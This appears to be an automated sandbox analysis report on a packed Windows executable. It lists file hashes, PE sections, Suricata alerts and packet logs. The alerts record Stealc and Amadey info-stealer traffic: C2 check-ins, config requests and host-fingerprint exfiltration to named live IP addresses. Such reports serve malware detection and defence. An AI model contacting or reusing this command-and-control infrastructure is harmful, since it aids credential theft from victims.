SHA-256:	5446EE28C1524D6D01444EE57DC4649E45BE7EDF69FD8CB317D94E7E62AD0D38
SHA-512:	26A8E77282C167A66CEAC4C015AB56814A9F96D4A26E2BA5EFC8B9ECB1B14042A1E79FEBC553F81225ABA63BF7D0713AED7299936843786BCB1ABA4C5EFD2D86
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.Ed7fPZdAP88.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTsAQtU7Exa5LSjaPuQb-KRl1yfMjA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.aj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var bj,cj,gj,jj,ij,ej,hj;bj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};cj=function(){_.Na()};gj=function(a,b){(_.dj\|\|(_.dj=new ej)).set(a,b);(_.fj\|\|(_.fj=new ej)).set(b,a)};jj=function(a){if(hj===void 0){const b=new ij([],{});hj=Array.prototype.concat.call([],b).length===1}hj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.kj=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Gc};._.lj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.mj=function(a,b){a===0&&(a=_.lj(a,b));return a\|1};_.nj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.oj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.rj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.kj(a,b,d);var k=h[_.v]\|0,l=!!(4&k);if(!l){k=_.mj(k,b);var m=h,p=b;const q=!!(

Chrome Cache Entry: 461

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133058
Entropy (8bit):	5.435102753006018
Encrypted:	false
SSDEEP:	3072:f1kPdsBJT7bKwkztS6STFSz1nrm3SnXYK02i6o:fKdUW5c5Sz1nK3SnoK08o
MD5:	1F808DD303F281B3953F47291ED063D2
SHA1:	32EA70D5398B723373AD971E669CC7F6EB1169DA
SHA-256:	1CDE2D2974129F3BBF58848E4F7907118F995550E939140BD287B0C0A0D9E140
SHA-512:	4AEFB1E9C7D54462EA8EE357AC0A71A1120E10A216E8CD874278AA76239FCF0B13F60A3B06B3EC5B1CA55B6E1D5A2A39BCE04F9B4BF8A20D36555345EEB0B736
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 462

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 463

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 464

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.944848255704407
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'830'912 bytes
MD5:	ba4b1f7686f54035029326b69b13145c
SHA1:	f200ea6b1574eadf38af7f23cc30f475ac4e3a2f
SHA256:	3d827bc28190cddf5e51c6f6183cf936f88276ff6854c2e87013902e85f9493e
SHA512:	6bb6598564c7aa643700eecde1ddf5178ec1777547ac18a1937f29994aea103869134bf88686a1e86a0234f3ba2ccedafee757196b2b63a3ceb5f55c5f3fb0d6
SSDEEP:	24576:3Tq6o4789eWKNP3lZLErVdhBJnxtuNskmme7odfqnvorfh6suwifBCgOgpFStxgf:0w9ZLwxiNsWRdfqI6sHSpFSyRMG
TLSH:	6985338A68C50078DC45F0B27D3113CB9E7C454698996EADDB6F01B8928F3BF79F8909
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xaa2000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F8428D8B73Ah
bswap esi
sbb eax, dword ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007F8428D8D735h
add byte ptr [0000000Ah], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], bl
add byte ptr [eax+000000FEh], ah
add byte ptr [edx], ah
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], ch
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add eax, 0000000Ah
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add al, 00h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ecx], al
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	4318be75983a8b01041ca863e6446148	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2af000	0x200	dd6149c3eb84ce01c9381bff65357eb4	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
uafzsnka	0x4fb000	0x1a6000	0x1a5400	e78f79a6f9b901e0a9993c42a2d1305e	False	0.9950627086424332	data	7.953827942683156	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
hprbfhsa	0x6a1000	0x1000	0x400	d1c8e1cf39ad3735456e9d1e5a5e8268	False	0.740234375	data	5.896392413888505	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6a2000	0x3000	0x2200	c80f25bad2267b39a28b85f1a622dc75	False	0.06962316176470588	DOS executable (COM)	0.9332618822617181	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-12T10:37:03.772108+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49709	185.215.113.206	80	TCP
2024-11-12T10:37:04.051759+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49709	185.215.113.206	80	TCP
2024-11-12T10:37:04.076003+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49709	TCP
2024-11-12T10:37:04.350010+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49709	185.215.113.206	80	TCP
2024-11-12T10:37:04.369749+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49709	TCP
2024-11-12T10:37:05.493326+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49709	185.215.113.206	80	TCP
2024-11-12T10:37:06.029289+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49709	185.215.113.206	80	TCP
2024-11-12T10:37:18.437517+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.175.87.197	443	192.168.2.6	49768	TCP
2024-11-12T10:37:28.357848+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49834	185.215.113.206	80	TCP
2024-11-12T10:37:31.694682+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49834	185.215.113.206	80	TCP
2024-11-12T10:37:33.633455+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49834	185.215.113.206	80	TCP
2024-11-12T10:37:34.718857+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49834	185.215.113.206	80	TCP
2024-11-12T10:37:36.854037+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49834	185.215.113.206	80	TCP
2024-11-12T10:37:37.481956+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49834	185.215.113.206	80	TCP
2024-11-12T10:37:44.570357+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	50018	185.215.113.16	80	TCP
2024-11-12T10:37:56.732601+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	4.175.87.197	443	192.168.2.6	50091	TCP
2024-11-12T10:38:05.935813+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	50112	185.215.113.43	80	TCP
2024-11-12T10:38:09.303121+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50114	185.215.113.16	80	TCP
2024-11-12T10:38:13.217965+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	50113	TCP
2024-11-12T10:38:14.116163+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50115	185.215.113.43	80	TCP
2024-11-12T10:38:14.961719+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50116	185.215.113.206	80	TCP
2024-11-12T10:38:18.052960+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50118	185.215.113.43	80	TCP
2024-11-12T10:38:18.971839+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	50119	185.215.113.16	80	TCP
2024-11-12T10:38:24.776514+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	50121	185.215.113.43	80	TCP
2024-11-12T10:38:27.443869+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	50123	185.215.113.206	80	TCP
2024-11-12T10:42:04.280941+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	50223	20.189.173.16	443	TCP
2024-11-12T10:43:07.551056+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	50249	185.215.113.43	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 12, 2024 10:36:56.432163954 CET	49673	443	192.168.2.6	173.222.162.64
Nov 12, 2024 10:36:56.432168007 CET	49674	443	192.168.2.6	173.222.162.64
Nov 12, 2024 10:36:56.728979111 CET	49672	443	192.168.2.6	173.222.162.64
Nov 12, 2024 10:37:00.187922955 CET	49708	443	192.168.2.6	40.113.110.67
Nov 12, 2024 10:37:00.187974930 CET	443	49708	40.113.110.67	192.168.2.6
Nov 12, 2024 10:37:00.188035011 CET	49708	443	192.168.2.6	40.113.110.67
Nov 12, 2024 10:37:00.188621044 CET	49708	443	192.168.2.6	40.113.110.67
Nov 12, 2024 10:37:00.188632965 CET	443	49708	40.113.110.67	192.168.2.6
Nov 12, 2024 10:37:01.304366112 CET	443	49708	40.113.110.67	192.168.2.6
Nov 12, 2024 10:37:01.304464102 CET	49708	443	192.168.2.6	40.113.110.67
Nov 12, 2024 10:37:01.359188080 CET	49708	443	192.168.2.6	40.113.110.67
Nov 12, 2024 10:37:01.359222889 CET	443	49708	40.113.110.67	192.168.2.6
Nov 12, 2024 10:37:01.359479904 CET	443	49708	40.113.110.67	192.168.2.6
Nov 12, 2024 10:37:01.401848078 CET	49708	443	192.168.2.6	40.113.110.67
Nov 12, 2024 10:37:01.438785076 CET	49708	443	192.168.2.6	40.113.110.67
Nov 12, 2024 10:37:01.438785076 CET	49708	443	192.168.2.6	40.113.110.67
Nov 12, 2024 10:37:01.438807964 CET	443	49708	40.113.110.67	192.168.2.6
Nov 12, 2024 10:37:01.438972950 CET	49708	443	192.168.2.6	40.113.110.67
Nov 12, 2024 10:37:01.479337931 CET	443	49708	40.113.110.67	192.168.2.6
Nov 12, 2024 10:37:01.687825918 CET	443	49708	40.113.110.67	192.168.2.6
Nov 12, 2024 10:37:01.689151049 CET	49708	443	192.168.2.6	40.113.110.67
Nov 12, 2024 10:37:01.689176083 CET	443	49708	40.113.110.67	192.168.2.6
Nov 12, 2024 10:37:01.689192057 CET	49708	443	192.168.2.6	40.113.110.67
Nov 12, 2024 10:37:01.689230919 CET	49708	443	192.168.2.6	40.113.110.67
Nov 12, 2024 10:37:02.572305918 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:02.577296972 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:02.577383041 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:02.578088045 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:02.582890987 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:03.476367950 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:03.477832079 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:03.481659889 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:03.486615896 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:03.770514965 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:03.772108078 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:03.773250103 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:03.778384924 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:04.051680088 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:04.051701069 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:04.051759005 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:04.051832914 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:04.070979118 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:04.076003075 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:04.349860907 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:04.349970102 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:04.349982023 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:04.349994898 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:04.350008965 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:04.350009918 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:04.350022078 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:04.350045919 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:04.350045919 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:04.350090981 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:04.350239038 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:04.350267887 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:04.350277901 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:04.350301027 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:04.364720106 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:04.369749069 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:04.643729925 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:04.643862963 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:04.688992977 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:04.689028025 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 10:37:04.694159031 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:04.694200993 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:04.694215059 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:04.694230080 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:04.694253922 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:04.694346905 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:04.694356918 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 10:37:05.194834948 CET	49710	443	192.168.2.6	40.113.110.67
